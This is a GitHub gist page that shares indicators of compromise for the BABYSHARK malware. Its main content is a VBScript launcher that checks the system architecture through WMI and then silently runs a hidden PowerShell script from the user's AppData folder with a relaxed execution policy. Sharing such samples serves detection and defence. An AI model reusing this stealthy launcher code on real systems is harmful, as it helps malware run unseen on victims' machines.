-
-
Save JohnHammond/24cd52c14a50c5f48437931e3bfe973e to your computer and use it in GitHub Desktop.
BABYSHARK malware indicators of compromise
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
On Error Resume Next | |
Set wShell=CreateObject("WScript.Shell") | |
ix=0 | |
Set objWMI = GetObject("winmgmts:\\.\root\CIMV2") | |
Set coll = objWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem") | |
For Each obj In coll | |
ix=InStr(1, obj.systemtype, "X86") | |
Exit For | |
Next | |
Set wShell=CreateObject("WScript.Shell") | |
retu=wShell.run("powershell cd $env:appdata ;powershell -executionpolicy remotesigned -file ""./Microsoft/dev.ps1""",0,false) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment